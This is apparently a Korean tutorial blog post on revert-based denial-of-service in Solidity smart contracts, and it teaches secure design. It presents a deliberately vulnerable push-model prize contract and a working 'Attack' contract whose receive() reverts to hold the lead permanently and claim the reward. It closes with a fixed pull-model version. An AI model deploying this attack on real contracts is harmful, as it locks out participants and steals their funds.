번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
Solidity
Typescript
Truffle ,Hardhat, Ethers.js, Web3.js
Test Script 작성 능력
Revert를 이용한 Denial of Service(서비스 거부)는 Solidity Smart Contract 작동 방식에 대한 이해 부족으로 인해 발생하는 경우가 많으며, 이로 인해 Contract가 악용될 수 있습니다.
아래 코드는 “InsecureWinnerTakesltAll”과 “FixedWinnerTakesItAll” Contract에 필요한 재진입을 막기 위한 abstract Contract 입니다.
pragma solidity 0.8.19;
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
ReentrancyGuard에는 재진입 공격을 방지하는데 사용되는 noReentrant modifier가 포함되어 있습니다. noReentrant modifier는 이를 적용하는 함수에 단 한 번의 진입만 허용하는 간단한 modifier입니다.
아래 코드는 "InsecureWinnerTakesItAll” Contract입니다. 이 Contract는 누구나 claimLeader()
함수를 실행하여 챌린지 리더를 차지하기 위해 ETH를 공급하여 참여할 수 있습니다.
처음에 챌린지는 Contract Onwer가 초기 보상으로 제공한 10 ETH로 시작합니다.
도전자는 챌린지의 리더 자리를 차지하기 위해 현재 리더의 예치금보다 더 많은 ETH를 제공해야합니다.
새로운 리더가 왕좌에 오르면 이전 리더의 보증금에서 10%가 공제됩니다. 즉, 이전 리더는 출금 시 입금액의 90%만 출금하여 받게됩니다. 이때 공제된 10%의 ETH는 우승자의 보상으로 적립됩니다. 간단히 말해 도전자가 많을 수록(그리고 예치된 ETH 수량이 많을 수록) 최종 챌린지 우승자에게 더 많은 보상금이 주어지는 Contract입니다.
챌린지 기간이 끝나면 마지막 리더가 승자가됩니다.
따라서 우승자는 claimPrincipalAndReward()
함수를 호출하여 원금과 도전 보상을 받을 수 있습니다.
pragma solidity 0.8.19;
import "./Dependencies.sol";
contract InsecureWinnerTakesItAll is ReentrancyGuard {
address public currentleader;
uint256 public lastDepositedAmount;
uint256 public currentLeaderReward;
uint256 public nextLeaderReward;
bool public rewardClaimed;
uint256 public immutable challengeEnd;
constructor(uint256 _challengePeriod) payable {
require(msg.value == 10 ether, "Require an initial 10 Ethers reward");
currentleader = address(0);
lastDepositedAmount = msg.value;
currentLeaderReward = 0;
nextLeaderReward = msg.value;
rewardClaimed = false;
challengeEnd = block.timestamp + _challengePeriod;
}
function claimLeader() external payable noReentrant {
require(block.timestamp < challengeEnd, "Challenge is finished");
require(msg.sender != currentleader, "You are the current leader");
require(msg.value > lastDepositedAmount, "You must pay more than the current leader");
if (currentleader == address(0)) { // First claimer (no need to refund the initial reward)
// Assign the new leader
currentleader = msg.sender;
lastDepositedAmount = msg.value;
currentLeaderReward = nextLeaderReward; // Accrue the reward
nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
}
else { // Next claimers
// Refund the previous leader with 90% of his deposit
uint256 refundAmount = lastDepositedAmount * 9 / 10;
// Assign the new leader
address prevLeader = currentleader;
currentleader = msg.sender;
lastDepositedAmount = msg.value;
currentLeaderReward = nextLeaderReward; // Accrue the reward
nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
(bool success, ) = prevLeader.call{value: refundAmount}("");
require(success, "Failed to send Ether");
}
}
// For the winner to claim principal and reward
function claimPrincipalAndReward() external noReentrant {
require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
require(msg.sender == currentleader, "You are not the winner");
require(!rewardClaimed, "Reward was claimed");
rewardClaimed = true;
// Transfer principal + reward to the winner
uint256 amount = lastDepositedAmount + currentLeaderReward;
(bool success, ) = currentleader.call{value: amount}("");
require(success, "Failed to send Ether");
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function isChallengeEnd() external view returns (bool) {
return block.timestamp >= challengeEnd;
}
}
“InsecureWinnerTakesItAll” Contract에는 claimLeader()
함수의 51번째 줄에 설계 결함이 있습니다.
새로운 리더가 왕좌를 차지하면 이전 리더에게 ETH를 환불하기 위해 (bool success, ) = prevLeader.call{value: refundAmount}(””);
문이 실행됩니다. 이와 같이 이전 리더에게 환불하는 action을 "push model”이라고 부릅니다.
push model: Smart Contract에서 특정 조건이 충족될 때 사용자에게 자금을 밀어내는 방식
하지만 claimLeader()
함수에 "push model”을 사용하면 공격자가 Denial of Service 공격으로 챌린지를 악용하고 보상을 쉽게 가져갈 수 있는 여지가 생깁니다.
아래 그림은 공격자가 DoS 공격을 사용하여 리더를 영구적으로 점유하는 방법을 보여줍니다.
claimLeader()
함수의 “push model”을 사용하면 공격자는 receive()
함수를 구현하는 공격 Contract를 배포할 수 있습니다. receive()
함수는 그림에서 볼 수 있듯이 “InseucreWinnerTakesItAll” Contract로 부터 ETH를 환불을 받으면 트랜잭션을 되돌릴 것입니다.
이렇게 하면 공격자는 배포된 “Attack” Contract를 사용하여 InsecureWinnerTakesItAll.claimLeader()
함수를 실행하여 선두를 차지할 수 있습니다. 다른 도전자들이 선두를 차지하려고 하면 Attack.receive()
함수가 트랜잭션을 되돌립니다.(즉 Denial of Service.DoS 공격)
아래 코드는 공격자가 “InsecureWinnerTakesItAll” Contract를 악용하여 챌린지 보상을 수익으로 탈취하는데 사용할 수 있는 “Attack” Contract를 보여줍니다.
pragma solidity 0.8.19;
interface IWinnerTakesItAll {
function claimLeader() external payable;
function claimPrincipalAndReward() external;
function isChallengeEnd() external view returns (bool);
}
contract Attack {
address public immutable owner;
IWinnerTakesItAll public immutable targetContract;
constructor(IWinnerTakesItAll _targetContract) {
owner = msg.sender;
targetContract = _targetContract;
}
modifier onlyOwner() {
require(owner == msg.sender, "You are not the owner");
_;
}
receive() external payable {
if (!targetContract.isChallengeEnd()) {
// Revert a transaction if the challenge does not end
revert();
}
// Receive the profit if the challenge ends
}
function attack() external payable onlyOwner {
targetContract.claimLeader{value: msg.value}();
}
function claimPrincipalAndReward() external onlyOwner {
targetContract.claimPrincipalAndReward();
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Failed to send Ether");
}
}
공격자는 “InsecureWinnerTakesItAll” Contract를 공격하기 위해 다음과 같은 공격 단계를 수행합니다.
Attack.attack()
함수를 실행하고 리더를 주장하기 위해 충분한 ETH를 제공합니다.Attack.claimPrincipalAndReward()
함수를 호출하여 원금과 챌린지 보상을 받습니다.챌린지 기간이 종료된 직후, Attack.receive()
함수는InsecureWinnerTakesItAll Contract에서 ETH 수신을 차단합니다.
그림에서도 볼 수 있듯이 사용자#1과 사용자#2가 리더가 되기 위해 경쟁했습니다.
하지만 공격자가 레이스에 참여한 후 영구적으로 리더가되었습니다. 사용자 #1과 사용자 #2가 리더가 되려는 시도는 모두 revert된 것을 확인할 수 있습니다.
챌린지 기간이 종료되면 공격자는 원금과 챌린지 보상을 수익으로 청구할 수 있습니다.
아래 코드는 “InsecureWinnerTakesItAll” Contract의 수정된 버전인 “FixedWinnerTakesItAll” Contract입니다.
pragma solidity 0.8.19;
import "./Dependencies.sol";
// Preventive solution
// -> Let users withdraw their Ethers instead of sending the Ethers to them (pull model)
contract FixedWinnerTakesItAll is ReentrancyGuard {
address public currentleader;
uint256 public lastDepositedAmount;
mapping (address => uint256) public prevLeaderRefunds; // FIX: For recording available refunds of all previous leaders
uint256 public currentLeaderReward;
uint256 public nextLeaderReward;
bool public rewardClaimed;
uint256 public immutable challengeEnd;
constructor(uint256 _challengePeriod) payable {
require(msg.value == 10 ether, "Require an initial 10 Ethers reward");
currentleader = address(0);
lastDepositedAmount = msg.value;
currentLeaderReward = 0;
nextLeaderReward = msg.value;
rewardClaimed = false;
challengeEnd = block.timestamp + _challengePeriod;
}
function claimLeader() external payable noReentrant {
require(block.timestamp < challengeEnd, "Challenge is finished");
require(msg.sender != currentleader, "You are the current leader");
require(msg.value > lastDepositedAmount, "You must pay more than the current leader");
if (currentleader == address(0)) { // First claimer (no need to refund the initial reward)
// Assign the new leader
currentleader = msg.sender;
lastDepositedAmount = msg.value;
currentLeaderReward = nextLeaderReward; // Accrue the reward
nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
}
else { // Next claimers
// Refund the previous leader with 90% of his deposit
uint256 refundAmount = lastDepositedAmount * 9 / 10;
// Assign the new leader
address prevLeader = currentleader;
currentleader = msg.sender;
lastDepositedAmount = msg.value;
currentLeaderReward = nextLeaderReward; // Accrue the reward
nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
// FIX: Record a refund for the previous leader
prevLeaderRefunds[prevLeader] += refundAmount;
}
}
// FIX: For previous leaders to claim their refunds
function claimRefund() external noReentrant {
uint256 refundAmount = prevLeaderRefunds[msg.sender];
require(refundAmount != 0, "You have no refund");
prevLeaderRefunds[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: refundAmount}("");
require(success, "Failed to send Ether");
}
// For the winner to claim principal and reward
function claimPrincipalAndReward() external noReentrant {
require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
require(msg.sender == currentleader, "You are not the winner");
require(!rewardClaimed, "Reward was claimed");
rewardClaimed = true;
// Transfer principal + reward to the winner
uint256 amount = lastDepositedAmount + currentLeaderReward;
(bool success, ) = currentleader.call{value: amount}("");
require(success, "Failed to send Ether");
}
function getEtherBalance() external view returns (uint256) {
return address(this).balance;
}
function isChallengeEnd() external view returns (bool) {
return block.timestamp >= challengeEnd;
}
}
관련 문제를 해결하려면 예치된 ETH를 “push model”에서 “pull model”로 변경해서 보상하는 방식으로 재설계해야 합니다.
pull model: 자신의 자금을 직접 인출할 수 있는 방법
Contract에 있는 기존 ETH의 양 보다 더 많은 ETH를 넣게되면 바로 전에 ETH를 입금했던 사용자에게 90%의 ETH를 돌려주고 있습니다.
이때 금액을 안전하게 환불처리하기 위해 FixedWinnerTakesItAll Contract를 사용해야합니다.
수정된 내용을 보시면 환불 가능 금액을 기록하기 위해 prevLeaderRefunds mapping을 도입한 것을 확인할 수 있습니다. 새로운 리더가 생기면 claimLeader()
함수에 있는 다음과 같은 계산을 통해 ETH를 돌려주고 있습니다.
prevLeaderRefunds[prevLeader] += refundAmount;
매핑으로 관리하면 언제든지 ETH를 받는 사용자는 claimRefund 함수를 호출하여 ETH를 청구할 수 있습니다.
이처럼 pull model 방식으로 Contract를 구성하면 공격자는 더 이상 Attack contract를 이용하여 챌린지를 악용할 수 없습니다.